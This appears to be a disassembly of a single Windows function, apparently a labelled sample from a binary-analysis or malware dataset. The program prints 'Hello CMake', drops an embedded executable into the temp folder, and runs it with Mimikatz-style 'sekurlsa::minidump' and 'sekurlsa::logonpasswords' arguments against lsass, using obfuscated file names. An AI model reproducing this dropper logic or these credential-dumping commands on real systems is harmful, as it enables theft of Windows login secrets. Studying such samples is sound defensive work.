Function at 0x140005920
Capabilities:
Execute command
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [0x140157e80]
xor rax, rsp
mov qword [rbp + 0x280], rax
xor r12d, r12d
mov dword [rsp + 0x38], r12d
lea rdx, str.Hello_CMake.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001080
lea rdx, [0x140001f60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], 0xc
mov qword [rbp + 0x88], 0xf
movsd xmm0, qword [str.bHNhc3MuZG1w]
movsd qword [rbp + 0x70], xmm0
mov eax, dword [0x140008860]
mov dword [rbp + 0x78], eax
mov byte [rbp + 0x7c], r12b
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x130]
call fcn.140003f20
mov rdi, rax
lea ecx, [r12 + 0x30]
call fcn.140006840
mov rbx, rax
mov qword [rsp + 0x38], rax
test rax, rax
je 0x140005a2e
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.0
mov qword [rbx], rax
movups xmmword [rbx + 0x10], xmm0
mov qword [rbx + 0x20], r12
mov qword [rbx + 0x28], r12
movups xmm0, xmmword [rdi]
movups xmmword [rbx + 0x10], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbx + 0x20], xmm1
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], 0xf
mov byte [rdi], r12b
jmp 0x140005a31
mov rbx, r12
mov edi, 1
mov dword [rsp + 0x38], edi
lea rsi, [rbx + 0x10]
mov qword [rsp + 0x48], rsi
mov r13, rbx
mov qword [rsp + 0x50], rbx
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x140005a8f
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a8a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000687c
movdqa xmm0, xmmword [0x140008970]
movdqu xmmword [rbp + 0x140], xmm0
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140005ae7
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ae2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ae2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000687c
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xb0], xmm0
test rbx, rbx
je 0x140005b15
lock inc dword [rbx + 8]
mov r13, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x48]
mov edi, dword [rsp + 0x38]
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xb8], rbx
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], 0xc
mov qword [rbp + 0x88], 0xf
movsd xmm0, qword [str.bHNhc3MuZXhl]
movsd qword [rbp + 0x70], xmm0
mov eax, dword [0x140008870]
mov dword [rbp + 0x78], eax
mov byte [rbp + 0x7c], 0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0xf0]
call fcn.140003f20
nop
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140001fa0
nop
lea r8, [rbp + 0xb0]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400044e0
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x140005bd1
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005bcc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005bcc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000687c
movdqa xmm0, xmmword [0x140008970]
movdqu xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140005c29
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005c24
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000687c
lea rdx, [rbp + 0x170]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
lea rax, [rbp + 0x170]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140005c60
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xb0]
call fcn.1400012e0
nop
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0xc8]
mov rax, rdx
sub rax, rcx
cmp rax, 0x17
jb 0x140005cdb
lea rax, [rcx + 0x17]
mov qword [rbp + 0xc0], rax
lea rbx, [rbp + 0xb0]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0xb0]
add rbx, rcx
mov r8d, 0x17
lea rdx, str.embedded_executable.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x17], 0
lea rax, [rbp + 0xb0]
jmp 0x140005d02
mov qword [rsp + 0x20], 0x17
lea r9, str.embedded_executable.exe
movzx r8d, byte [rsp + 0x30]
mov edx, 0x17
lea rcx, [rbp + 0xb0]
call fcn.140001570
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or edi, 2
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140005d85
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d80
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000687c
movdqa xmm0, xmmword [0x140008970]
movdqu xmmword [rbp + 0xc0], xmm0
mov byte [rbp + 0xb0], 0
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rdx, qword [rbp + 0xd0]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rcx, [rsp + 0x60]
call fcn.140002120
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x5c], edx
mov r8d, dword [0x140157e00]
lea rdx, section..data
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x68]
call fcn.140004430
test rax, rax
jne 0x140005e3d
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rax, [rbp + 0x70]
mov qword [rsp + 0x40], rax
mov r14, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
jbe 0x140005e54
mov rsi, qword [rsi]
call fcn.14000666c
mov r15d, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], 7
mov word [rbp + 0x70], r12w
or edi, 0x10
mov dword [rsp + 0x38], edi
test r14, r14
je 0x140005ef8
cmp r14, 0x7fffffff
ja 0x140006505
mov dword [rsp + 0x20], r12d
xor r9d, r9d
mov r8d, r14d
mov rdx, rsi
mov ecx, eax
call fcn.140006694
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x140006510
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rbp + 0x70]
call fcn.140005050
lea r9, [rbp + 0x70]
cmp qword [rbp + 0x88], 7
cmova r9, qword [rbp + 0x70]
mov dword [rsp + 0x20], ebx
mov r8d, r14d
mov rdx, rsi
mov ecx, r15d
call fcn.140006694
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x14000651c
and edi, 0xffffffef
or edi, 0xc
lea rcx, [rbp + 0x130]
call fcn.1400048f0
nop
lea r8, [rbp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140002fe0
nop
lea rcx, [rbp + 0x130]
call fcn.140003b50
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x140005f72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000687c
lea r15, [rbp + 0x150]
cmp qword [rbp + 0x168], 7
cmova r15, qword [rbp + 0x150]
mov r14, qword [rbp + 0x160]
call fcn.14000666c
mov r12d, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
bts edi, 9
mov dword [rsp + 0x38], edi
test r14, r14
je 0x1400060d4
cmp r14, 0x7fffffff
ja 0x140006526
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, r14d
mov rdx, r15
mov ecx, eax
call fcn.1400066dc
mov rdi, rax
shr rax, 0x20
test eax, eax
jne 0x140006531
movsxd rcx, edi
mov rdx, qword [rbp + 0xa0]
cmp rcx, rdx
ja 0x140006037
lea rax, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rax, qword [rbp + 0x90]
mov qword [rbp + 0xa0], rcx
mov byte [rax + rcx], 0
jmp 0x14000609c
mov rsi, rcx
sub rsi, rdx
mov r8, qword [rbp + 0xa8]
mov rax, r8
sub rax, rdx
cmp rsi, rax
ja 0x14000607f
mov qword [rbp + 0xa0], rcx
lea rbx, [rbp + 0x90]
cmp r8, 0xf
cmova rbx, qword [rbp + 0x90]
add rbx, rdx
mov r8, rsi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov byte [rbx + rsi], 0
jmp 0x14000609c
mov byte [rsp + 0x20], 0
mov r9, rsi
movzx r8d, byte [rsp + 0x30]
mov rdx, rsi
lea rcx, [rbp + 0x90]
call fcn.140001700
lea r9, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova r9, qword [rbp + 0x90]
mov dword [rsp + 0x20], edi
mov r8d, r14d
mov rdx, r15
mov ecx, r12d
call fcn.1400066dc
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x14000653d
mov rsi, qword [rbp + 0xe0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 0x28
jb 0x1400064f9
lea r15, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova r15, qword [rbp + 0xd0]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
lea r14, [rsi + 0x28]
mov ebx, 0xf
lea rdi, [rbp + 0xf0]
cmp r14, rbx
jbe 0x1400061b2
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140006172
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140006840
test rax, rax
je 0x140006394
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400061ab
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000619a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400064ff
jmp 0x140006153
test rcx, rcx
je 0x1400061a9
call fcn.140006840
mov rdi, rax
jmp 0x1400061ab
xor edi, edi
mov qword [rbp + 0xf0], rdi
mov qword [rbp + 0x100], r14
mov qword [rbp + 0x108], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.__privilege::debug___sekurlsa::minidump]
movups xmmword [rdi + rsi], xmm0
movups xmm1, xmmword [0x1400088c8]
movups xmmword [rdi + rsi + 0x10], xmm1
movsd xmm0, qword [0x1400088d8]
movsd qword [rdi + rsi + 0x20], xmm0
mov byte [rdi + r14], 0
lea r9, [rbp + 0x90]
lea r8, [rbp + 0xf0]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x70]
call fcn.140002480
nop
mov rcx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x88]
mov rax, rdx
sub rax, rcx
cmp rax, 0x23
jb 0x140006269
lea rax, [rcx + 0x23]
mov qword [rbp + 0x80], rax
lea rbx, [rbp + 0x70]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x70]
add rbx, rcx
mov r8d, 0x23
lea rdx, str.___sekurlsa::logonpasswords___exit_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x23], 0
lea rax, [rbp + 0x70]
jmp 0x14000628d
mov qword [rsp + 0x20], 0x23
lea r9, str.___sekurlsa::logonpasswords___exit_
movzx r8d, byte [rsp + 0x30]
mov edx, 0x23
lea rcx, [rbp + 0x70]
call fcn.140001570
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
lea rbx, [rbp + 0x110]
mov rcx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
cmova rbx, rcx
jbe 0x140006317
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006312
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006312
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000687c
movdqa xmm0, xmmword [0x140008970]
movdqu xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x110], dil
mov r8, qword [rbp + 0x88]
cmp r8, 0xf
jbe 0x140006348
mov rdx, qword [rbp + 0x70]
lea rcx, [rbp + 0x70]
call fcn.1400034a0
movdqa xmm0, xmmword [0x140008970]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x1400063a1
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000639b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000639b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000687c
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x1400063e5
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400063e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000687c
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x150]
call fcn.140003b50
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x68]
call fcn.140002d20
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x1400064a1
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000649c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000649c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000687c
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
test r13, r13
je 0x1400064c7
mov rcx, r13
call fcn.1400034e0
xor eax, eax
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.140006e70
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140003be0
nop
call fcn.140003a40
nop
mov ecx, 0x16
call fcn.140003ad0
int3
shr rbx, 0x20
mov ecx, ebx
call fcn.140003b10
int3
shr rcx, 0x20
call fcn.140003b10
nop
mov ecx, 0x16
call fcn.140003ad0
int3
shr rdi, 0x20
mov ecx, edi
call fcn.140003b10
int3
shr rcx, 0x20
call fcn.140003b10
int3